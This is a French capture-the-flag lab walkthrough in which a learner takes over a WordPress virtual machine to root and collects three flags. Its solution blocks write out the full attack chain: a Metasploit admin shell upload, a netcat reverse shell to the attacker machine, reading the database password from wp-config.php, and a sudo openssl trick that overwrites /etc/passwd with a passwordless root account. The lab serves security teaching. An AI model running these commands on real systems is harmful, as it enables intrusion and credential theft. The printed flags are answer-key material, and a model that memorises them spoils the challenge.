Contrairement à un shell classique, où c'est l'attaquant qui initie la connexion au système cible pour obtenir un accès, dans un reverse shell, c'est le système cible qui initie la connexion vers l'attaquant. Cette méthode est souvent utilisée pour contourner les pare-feux ou d'autres dispositifs de sécurité qui pourraient bloquer les connexions entrantes sur le système cible.

Lorsqu'une vulnérabilité est exploitée (par exemple, via une injection de code ou l'exploitation d'une faille de sécurité), un script ou un programme exécuté sur le système cible crée une connexion sortante vers un serveur contrôlé par l'attaquant. À travers cette connexion, l'attaquant peut envoyer des commandes qui sont exécutées sur le système cible, lui permettant ainsi d'en prendre le contrôle.

Les reverse shells sont souvent utilisés dans les phases initiales d'une attaque pour établir un accès au système, après quoi d'autres outils et techniques peuvent être déployés pour approfondir l'accès ou exfiltrer des données.

Meterpreter est un payload avancé (charge utile) utilisé avec le framework Metasploit. Il fournit un contrôle interactif sur le système cible avec une suite étendue de fonctionnalités pour l'attaquant. Contrairement à un reverse shell basique qui offre un accès limité au shell du système, Meterpreter fonctionne en mémoire et ne nécessite pas de fichier exécutable sur le disque du système cible, rendant sa détection plus difficile.

Meterpreter permet une multitude d'actions, telles que :

  • L'espionnage par capture de frappes clavier (keylogging)
  • La prise de captures d'écran ou de flux vidéo de webcams
  • L'upload et le download de fichiers
  • L'escalade de privilèges
  • La manipulation du système de fichiers et du registre
  • L'ouverture de sessions interactives shell
  • L'exécution de scripts et de commandes personnalisées

L'un des avantages majeurs de Meterpreter est sa capacité à charger dynamiquement des extensions en fonction des besoins de l'attaquant, sans avoir à recompiler ou à réinjecter le payload. Cela permet une flexibilité et une discrétion accrues lors des opérations de post-exploitation.

Etape 1

✨ Peut-être qu’en faisant quelques recherches sur internet, tu trouveras le moyen de prendre le contrôle du compte root en exploitant une vulnérabilité du compte admin de WordPress ...

INDICE :

Metasploit intègre une fonction de recherche d’exploit avec la commande search.

spacer
hidden
Voir la solution|||text||||||0|||Hide
Après avoir démarré Metasploit avec `msfconsole` tu peux rechercher des exploits en les filtrants par mot clé :

```bash
┌──(kali㉿kali)-[~]
└─$ msfconsole
```

```bash
msf6 > search exploit wordpress admin
```
```alert info
Tu peux constater qu’un résultat matche sur les trois termes `exploit`, `wordpress` et `admin` :

![](images/022-etape-4.png)

```
spacer
Bravo

Un exploit correspond parfaitement à ce que l'on recherche, il se trouve dans exploit/unix/webapp/wp_admin_shell_upload

spacer
Info

Voici quelques informations concernant les commandes pour utiliser Metasploit :

  • use

    • Description : Cette commande est utilisée pour sélectionner un module spécifique dans Metasploit que tu souhaites utiliser. Les modules peuvent être des exploits, des payloads, des scanners, etc. Chaque module est conçu pour une tâche spécifique, comme exploiter une vulnérabilité particulière sur un système ou une application.
    • Usage : use <nom_du_module>
    • Exemple : use exploit/windows/smb/ms08_067_netapi sélectionne l'exploit ms08_067_netapi pour être utilisé contre une vulnérabilité SMB dans Windows.
  • set

    • Description : Utilisée pour configurer les options des modules sélectionnés avec use. Ces options peuvent inclure des détails comme l'adresse IP de la cible, le port sur lequel lancer l'attaque, les identifiants de connexion, et d'autres paramètres spécifiques au module que tu as choisi.
    • Usage : set <option> <valeur>
    • Exemple : set RHOSTS 192.168.1.10 définirait l'adresse IP de la cible sur 192.168.1.10.
  • exploit

    • Description : Cette commande lance l'exploit contre la cible configurée avec les options définies par les commandes use et set. Si l'exploit réussit, tu peux obtenir un accès au système cible, souvent sous forme de shell ou de session de commande, en fonction du payload choisi avec l'exploit.
    • Usage : exploit ou exploit -j pour lancer l'exploit en arrière-plan.
    • Exemple : Après avoir configuré l'exploit et ses options, exécuter exploit tentera d'exploiter la vulnérabilité sur la cible.
spacer

✨ Il est temps de lancer l'exploit sélectionner ...

Sert toi de cette ressource pour lancer l'exploit sélectionné sur ton serveur cible.

spacer
hidden
Voir la solution|||text||||||0|||Hide

1. Nous commençons par nous connecter à Metasploit avec :
```bash
┌──(root㉿kali)-[~]
└─# msfconsole
```

2. Ensuite nous sélectionnons le module **wp_admin_shell_upload** avec cette commande :
```bash
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
```

3. On peu afficher des informations sur le module sélectionné avec la commande `info` :
```bash
msf6 exploit (unix/webapp/wp_admin_shell_upload) > info
```
La section **Description** explique que : "ce module génère un plugin, y insère la charge utile (payload) et la télécharge sur un serveur exécutant WordPress, à condition que des identifiants d'administrateur valides soient utilisés."

4. Nous configurons les paramètres de l’exploit de cette manière  :
```bash
msf6 exploit (unix/webapp/wp_admin_shell_upload) > set USERNAME admin
msf6 exploit (unix/webapp/wp_admin_shell_upload) > set PASSWORD spidermonkey
msf6 exploit (unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.56.50
msf6 exploit (unix/webapp/wp_admin_shell_upload) > set LHOST 192.168.56.128
msf6 exploit (unix/webapp/wp_admin_shell_upload) > set LPORT 443
```
```alert info
Explication des options :
`USERNAME` : spécifique le nom d'utilisateur que l'attaque va utiliser pour se connecter à l'interface d'administration de WordPress
`PASSWORD` : défini le mot de passe associé à l'utilisateur spécifié
`RHOSTS` : (Remote Hosts) indique l'adresse IP de la cible
`LHOST` : (Local Host) est l'adresse IP de la machine de l'attaquant (la machine où Metasploit tourne, donc ta machine Kali Linux)
`LPORT` : (Local Port) est le port sur lequel l'attaquant va écouter pour recevoir la connexion inversée de la cible après l'exécution de l'exploit
```

5. Et enfin, nous utilisons la commande `exploit` pour lancer notre attaque :

```bash
msf6 exploit (unix/webapp/wp_admin_shell_upload) > exploit
```

![](images/023-etape-4.png)

spacer
Bravo

L’exploit a fonctionné nous avons désormais une session Meterpreter ouverte sur la machine cible !

Utilise la commande shell pour pouvoir utiliser la ligne de commande :

spacer

Partie 5 : rendre le shell interactif ️ 🔁

Tu as obtenu un shell distant avec la commande shellvia Meterpreter mais tu vas rencontrer des limitations.

Par exemple, certaines actions que tu voudras réaliser, comme changer l'utilisateur en utilisant su, augmenter tes permissions avec sudo, ou même utiliser un éditeur de texte comme vim ou nano ne fonctionneront pas correctement sans un élément spécial appelé PTY (pseudo-terminal).

Sans ce PTY, des fonctions simples comme utiliser les flèches pour naviguer dans l'historique des commandes ou compléter automatiquement une commande avec la touche Tab ne seront pas disponibles.

De plus, si tu appuyes sur Ctrl-C dans cette configuration limitée, cela risque de couper la connexion avec l'ordinateur distant, te faisant perdre l'accès.

Heureusement, il y a une solution pour rendre le contrôle à distance plus agréable et éviter ces problèmes.

Tu peux simuler un terminal complet sur l'ordinateur distant, ce qui te permettra d'utiliser ces commandes spéciales et de profiter d'une interaction plus naturelle.

Voici une vue d’ensemble des commandes que tu vas devoir lancer :

  1. Tout d'abord, ouvre un autre terminal sur ta machine Kali Linux (tout en gardant celui avec le reverse shell ouvert). Ce nouveau terminal est celui que tu vas configurer pour être un shell confortable relié à ta machine cible. Vérifie la taille de ton terminal avec la commande stty -a :
bash
┌──(kali㉿kali)-[~]
└─$ stty -a
speed 38400 baud; rows 24; columns 80; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>;
eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R;
werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff
-iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt
echoctl echoke -flusho -extproc
Info

La sortie de cette commande te donne 2 nombres importants : le nombre de lignes (rows 24) et le nombre de colonnes (columns 80) de ton terminal.

  1. Démarre unne connexion simple avec l'outil netcat sur un port de ta machine :
bash
┌──(kali㉿kali)-[~]
└─$ nc -vlnp 443
listening on [any] 443 ...
  1. Retourne sur ton premier terminal (celui avec le reverse shell Meterpreter en attente) et lance la commande suivante :
bash
nc -e /bin/bash 192.168.56.128 443

spacer
  1. Retourne ensuite sur ton second terminal, tu remarqueras qu'une connexion a été établie entre les 2 machines :

spacer
  1. Utilises cette commande spéciale en Python pour créer le terminal simulé (PTY) depuis ton second terminal :
bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
spacer
Bravo

Tu peux constater que tu es maintenant sur la machine distante exam avec l’utilisateur www-data (dommage ce n’est pas root …) :

  1. Si tu appuies sur les flèches de ton clavier par exemple, tu verras que ce shell n’est pas très agréable lui non plus :

spacer
  1. Met cette connexion en arrière-plan en appuyant sur Ctrl + Z

spacer
  1. Puis lance la commande suivante :
bash
stty raw -echo; fg
Info

Cette commande permet d’ajuster ton terminal pour qu'il ignore les touches spéciales comme Ctrl-C afin de ne pas interrompre accidentellement la connexion.

Elle permet aussi de récupérer la connexion en arrière-plan avec fg.

  1. Appuie sur Entrée pour continuer. Te voilà de retour sur le système cible :
spacer
Info

Si tu fais quelques tests, tu remarqueras que le terminal est devenu interactif (l’éditeur de texte nano fonctionne bien par exemple).

  1. Configure enfin le terminal simulé pour qu'il corresponde à la taille de ton terminal local avec ces deux commandes (remplace les nombres par ceux que tu as obtenus précédemment avec la commande stty -a) :
bash
www-data@exam:$ export TERM=xterm
www-data@exam:$ stty rows 24 columns 80
spacer
Bravo

Tu es maintenant prêt à interagir de manière plus naturelle avec l'ordinateur distant.

Essaie de lancer un ping et de l’arrêter avec Ctrl+C par exemple.

Même s’il n’est pas parfait, ton shell relié à la machine attaquée est à présent interactif et plus confortable.

spacer

Partie 6 : Elévation de privilèges 📈

L'élévation de privilèges désigne le processus par lequel un utilisateur obtient des droits et des privilèges au-delà de ceux qui lui sont initialement accordés, souvent ceux d'un utilisateur plus puissant comme l'administrateur système ou le compte root.

Tu as constaté que grâce à l’exploit lancé précédemment tu es connecté avec le compte www-data et non le compte root.

Voici quelques informations le concernant :

  • L'utilisateur www-data est un compte système standard utilisé sur les systèmes d'exploitation basés sur Unix/Linux, en particulier dans le contexte des serveurs web comme Apache et Nginx. Ce compte est spécifiquement destiné à séparer les privilèges des services web des autres utilisateurs et processus du système pour des raisons de sécurité. En attribuant les processus du serveur web à l'utilisateur www-data, cela limite les dommages potentiels qu'un attaquant pourrait causer s'il parvenait à exploiter une vulnérabilité dans le serveur web.

  • Séparation des privilèges : L'utilisation de www-data permet de mettre en œuvre le principe de moindre privilège. Cela signifie que les processus du serveur web fonctionnent avec seulement les permissions nécessaires pour leur exécution, sans accès inutile à d'autres parties du système.

  • Gestion des fichiers : Les fichiers et dossiers servis par le serveur web sont souvent possédés ou accessibles par www-data. Cela inclut les scripts, les pages web, et d'autres ressources nécessaires au fonctionnement du site.

  • Sécurité : En cas de compromission du serveur web, l'attaquant obtiendrait les privilèges de l'utilisateur www-data et non ceux d'un utilisateur plus privilégié, comme root. Cela limite l'étendue de ce que l'attaquant peut faire.

  • Permissions : Les administrateurs système s'assurent souvent que les fichiers et répertoires liés au serveur web sont correctement définis avec des permissions qui n'autorisent www-data qu'à lire, écrire, ou exécuter ce qui est strictement nécessaire.

Etape 1

✨ Il faut trouver un moyen d’avancer. Pourquoi ne pas fouiller partout en espérant trouver quelque chose d’utile …

INDICE :

Il peut être pertinent d’utiliser la commande find pour lister tous les fichiers appartenant à l’utilisateur www-data. Essaie aussi de trouver une option pour filtrer les résultats en excluant les fichiers systèmes de www-data non-pertinents.

spacer
hidden
Voir la solution 1|||text||||||0|||Hide
Pour lister les fichiers pertinents appartenant à www-data nous pouvons utiliser la commande suivante :

```bash
www-data@exam:$ find / -type f -user www-data -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" -not -path "/var/www/html/*" 2>/dev/null

/var/www/flag.txt
/var/mail/www-data
```
```alert info
Cette commande fait ce qui suit :

* `find /` : Commence la recherche à partir de la racine du système de fichiers.
* `-type f` : Recherche uniquement les fichiers (et non les répertoires ou autres types d'objets).
* `-user www-dataè  : Filtre pour ne trouver que les fichiers appartenant à l'utilisateur www-data.
* `-not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" -not -path "/var/www/html/*"` : Exclut les fichiers situés dans les chemins spécifiés, qui sont généralement des répertoires système ou des emplacements où www-data est susceptible d'avoir de nombreux fichiers non pertinents pour une recherche généralisée.
* `2>/dev/null` : Redirige les messages d'erreur vers /dev/null, ce qui signifie que les erreurs d'accès (par exemple, les permissions refusées) ne seront pas affichées.
```
hidden
Voir la solution 2|||text||||||0|||Hide
Une autre commande un peu plus complexe aurait été :

```bash
www-data@exam:$ find / -type f -user `whoami` 2>/dev/null | egrep -v '^/(proc|sys|run|var/www/html)/'

sh: 0: getcwd() failed: No such file or directory
/var/www/flag.txt
/var/mail/www-data
```

```alert info
Cette commande utilise plusieurs outils du système Linux pour rechercher des fichiers spécifiques sur ton ordinateur. 

Décortiquons-la pour la comprendre étape par étape :
* `find / -type f -user `whoami`` :
   * `find /` commence une recherche à partir de la racine (/) de ton système de fichiers.
   * `-type f` indique à find de ne chercher que les fichiers (et non les répertoires, par exemple).
   * `-user `whoami`` limite la recherche aux fichiers appartenant à l'utilisateur courant.

* `2>/dev/null` :
   * Cette partie de la commande redirige (avec ``>`) les erreurs (représentées par `2`) vers `/dev/null`, un emplacement spécial qui "absorbe" tout ce qu'on lui envoie, en supprimant les erreurs afin qu'elles ne s'affichent pas à l'écran.

* `| egrep -v '^/(proc|sys|run|var/www/html)/'` :
   * Le symbole `|` est un "pipe". Il prend la sortie de la commande précédente et la passe comme entrée à la commande suivante.
   * `egrep` est un outil de recherche de texte qui utilise des expressions régulières (un moyen puissant et flexible de chercher des motifs dans du texte).
   * `-v` inverse le comportement de `egrep`, lui faisant afficher toutes les lignes qui **ne correspondent pas** au motif donné.
   * `'^/(proc|sys|run|var/www/html)/'` est une expression régulière qui correspond aux chemins commençant par `/proc`, `/sys`, `/run`, ou `/var/www/html`. Le `^` indique le début d'une ligne. En utilisant `-v` avec cette expression, egrep exclut tous les fichiers se trouvant dans ces répertoires de ses résultats.
```
spacer
Bravo

🚩 Nous avons trouvé notre 1er flag !!

bash
www-data@exam:$ cat /var/www/flag.txt
18c720a7a374017a5b6e985e2a4828fa
spacer

Etape 2

Peut-être serait-il pertinent de te renseigner sur les fichiers de configuration importants de WordPress :

spacer
  • wp-config.php
    Le fichier wp-config.php est sans doute le fichier le plus critique dans toute installation WordPress. Situé à la racine de ton installation WordPress, ce fichier contient les informations de configuration de base de ton site, y compris les détails de connexion à la base de données.

    • Informations sensibles :
      • Détails de la base de données : Les noms d'utilisateur, les mots de passe, le nom de la base de données et les informations de l'hôte sont stockés ici.
      • Clés de sécurité : Les clés de sécurité et les sels WordPress, qui sécurisent ton installation en chiffrant les cookies d'authentification et les sessions.
      • Préfixe de la table de base de données : Le préfixe utilisé par les tables dans la base de données WordPress, important pour sécuriser les tables contre certaines formes d'attaques SQL injection.
  • .htaccess
    Le fichier .htaccess joue un rôle clé dans la configuration du serveur web Apache pour ton site WordPress. Il permet de configurer les réglages liés à la sécurité et aux permaliens, entre autres.

    • Informations sensibles :

      • Règles de réécriture et redirection : Peut contenir des règles spécifiques pour la redirection d'URL ou pour des configurations de sécurité.
      • Contrôles d'accès : Des directives pour limiter l'accès à certaines parties de ton site, pouvant révéler des structures de répertoire ou des stratégies de sécurité.
  • wp-admin et wp-includes
    Bien que pas spécifiquement des fichiers, les répertoires wp-admin et wp-includes contiennent des fichiers de core WordPress essentiels pour le fonctionnement de ton site.

    • Informations sensibles :
      • Fichiers de Core WordPress : Modifier ou exposer accidentellement ces fichiers peut conduire à des vulnérabilités de sécurité.
  • wp-content Le répertoire wp-content contient des thèmes, des plugins, et des médias uploadés, qui sont cruciaux pour la personnalisation et le fonctionnement de ton site WordPress.

    • Informations sensibles :
      • Plugins et thèmes : Des configurations spécifiques au site ou des données sensibles peuvent être stockées dans les fichiers de configuration des plugins ou des thèmes.
spacer

✨ Essaie de trouver des informations à exploiter dans ces dossiers

spacer
hidden
Voir la solution|||text||||||0|||Hide
Nous vérifions le contenu du fichier **wp-config.php**

```bash
www-data@exam:$ cat /var/www/html/wp-config.php
```
```alert info
En parcourant ce fichier, on tombe sur une information très importante :
![](images/033-etape-4.png)
```
spacer
Bravo

🎉 BINGO !!!

Nous trouvons un mot de passe : /** MySQL database password */ define('DB_PASSWORD', 'suG6vP1rWzBUqIL2aaT6oA');

spacer

Etape 2

✨ Pourquoi ne pas essayer ce mot de passe sur les autres utilisateurs présents dans ce système ? Essaie d'obtenir la liste des utilisateurs du système.

INDICE :

La commande getent paraît toute indiquée ...

spacer
hidden
Voir la solution|||text||||||0|||Hide
Pour afficher les entrées de la base de données des mots de passe de tous les utilisateurs du système (y compris les utilisateurs systèmes et les utilisateurs normaux) nous lançons la commande :

```bash
www-data@exam:$ getent passwd
```
```alert info
Voici ce que signifie chaque partie de la sortie (séparée par les deux points `:`) :
* **Nom d'utilisateur** : C'est le nom d'identification de l'utilisateur sur le système.
* **Mot de passe chiffré** : Affiche généralement un 'x' ou un '*', indiquant que le mot de passe réel est stocké de manière sécurisée dans un autre fichier (/etc/shadow), auquel seuls les utilisateurs privilégiés ont accès.
* **UID (User ID)** : C'est l'identifiant numérique unique de l'utilisateur. Par exemple, l'UID pour l'utilisateur root est toujours 0.
* **GID (Group ID)** : C'est l'identifiant numérique du groupe principal de l'utilisateur.
* **Commentaire/GECOS** : Ce champ contient généralement le nom complet de l'utilisateur ou d'autres informations comme le numéro de téléphone, etc.
* **Répertoire personnel** : Chemin vers le répertoire personnel de l'utilisateur.
* **Shell de connexion** : Le programme de shell qui est lancé à la connexion de l'utilisateur. Par exemple, /bin/bash ou /bin/sh.
```
spacer
Bravo

Nous disposons de tous les comptes utilisateurs :

bash
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
smmta:x:104:113:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin
smmsp:x:105:114:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin
_mta-sts:x:106:115::/var/lib/mta-sts/:/usr/sbin/nologin
user:x:1000:1000::/home/user:/bin/bash
spacer

✨ Dans la liste obtenue n’y a-t-il pas un utilisateur qui attire ton attention ? Essaie de te connecter avec cet utilisateur et le mot de passe trouvé précédemment ...

hidden
Voir la solution|||text||||||0|||Hide
Nous essayons de nous connecter avec l’utilisateur `user` et le mot de passe trouvé précédemment dans le fichier `wp-config.php` :

```bash
www-data@exam:$ su user
Password:
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
user@exam:$
```
spacer
Bravo

Cela a fonctionné !

Cependant nous constatons rapidement que l’utilisateur n’a pas les droits sudo …

Etape 3

✨ Pourquoi ne pas essayer de fouiller dans les endroits où user a le droit d’aller ?

spacer
hidden
Voir la solution|||text||||||0|||Hide
Nous nous rendons dans le répertoire personnel de **user** à l’emplacement `/home/user/`, et nous utilisons la commande `ls` afin d’afficher le contenu du répertoire :

```bash
user@exam:$ cd ~
user@exam:~$ ls -al
total 28
drwxr-xr-x 2 user user 4096 Sep 22 13:25 .
drwxr-xr-x 3 root root 4096 Oct 25  2023 ..
-rw-r--r-- 1 user user 1708 Oct 25  2023 .bash_history
-rw-r--r-- 1 user user  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 user user 3526 Apr 23  2023 .bashrc
-r-------- 1 user user   33 Oct 25  2023 flag.txt
-rw-r--r-- 1 user user  807 Apr 23  2023 .profile
```
spacer
Bravo

🚩 Le second flag est dans la boite !!

bash
user@exam:~$ cat flag.txt
90ccbff292fed768e1d79053095a8cb6
spacer

Etape 4

Pour terminer ce CTF et trouver le dernier flag, voici ce dernier indice :

il existe une vulnérabilité OpenSSL qui permet de supprimer tous les utilisateurs actuels et de créer un nouvel utilisateur sans mot de passe qui détiendra les droits root.

Cette étape implique l'exploitation d'une vulnérabilité dans OpenSSL pour élever les privilèges sur le système cible.

L'objectif est de modifier le fichier /etc/passwd pour créer un nouvel utilisateur avec des privilèges root.

✨ A toi de jouer !!

hidden
Voir la solution|||text||||||0|||Hide

1. L’attaque va consister à supprimer le contenu de `/etc/passwd` qui contient tous les utilisateurs du système.
Pour que le système soit encore fonctionnel après l’attaque, tu devrais copier le contenu de `/etc/passwd` et le mettre de côté pour pouvoir le restaurer ensuite quand tu auras obtenu les droits root :

```bash
user@exam:~$ cat /etc/passwd > /home/user/passwd_backup.txt
```

2. La commande d’attaque est celle-ci :
```bash
user@exam:~$ LFILE=/etc/passwd
user@exam:~$ TF=$(mktemp)
user@exam:~$ echo "data::0:0:root:/root:/bin/bash" > $TF
user@exam:~$ sudo openssl enc -in "$TF" -out "$LFILE"
[sudo] password for user: 
user@exam:~$
```

```alert info
Explication des commandes :
* **Préparation de l'environnement** : Tu utilises d'abord la variable `LFILE` pour spécifier le chemin du fichier que tu vas modifier, ici `/etc/passwd`.

* **Création d'un utilisateur root temporaire** : Tu crées un fichier temporaire avec `mktemp`, puis y insére une nouvelle entrée pour un utilisateur qui a des privilèges root en utilisant `echo "data::0:0:root:/root:/bin/bash" > $TF `. Cette entrée crée un utilisateur sans mot de passe (data), avec l'UID et le GID à 0 (root), et un shell bash.

* **Écriture dans `/etc/passwd`** : Finalement, avec `sudo openssl enc -in "$TF" -out "$LFILE"`, tu écris le contenu du fichier temporaire dans `/etc/passwd` ajoutant un utilisateur avec des droits root.

* **Password for user:** : renseigne ici le mot de passe de l'utilisateur `user` trouvé précédemment.
```

spacer
Bravo

Après cette commande, les utilisateurs présents ont tous été supprimés et un nouvel utilisateur nommé data qui n’a pas de mot de passe a été créé et possède les droits de root car il fait partie du groupe root :

bash
user@exam:~$ getent passwd
data::0:0:root:/root:/bin/bash
spacer

Etape 5

✨ Change d'utilisateur de user à data puis restaure immédiatement les utilisateurs supprimés avec le fichier de sauvegarde

hidden
Voir la solution|||text||||||0|||Hide

La syntaxe est la suivante :
```bash
user@exam:~$ su data
data@exam:/home/user# groups
root
data@exam:/home/user# cat /home/user/passwd_backup.txt >> /etc/passwd
```
spacer
Bravo

FELICITATIONS !!!!! 🎉🍬🎈🎄🎊

Tu disposes désormais du controle total sur la machine cible !!!

🚩 Mais il manque un flag non ? Il n'y en avait pas 3 au départ ?

🎁 En effet, et pour le trouver celui là, il suffit simplement de se rendre dans le répertoire de root 😜

spacer

💪 Challenge

La quête en elle même est un challenge !!!

Et pour prouver que tu as mené à bien ton objectif, tu peux poster le contenu du dernier flag en tant que solution au challenge.

🧐 Critères d'acceptation

Le contenu du dernier flag est correct.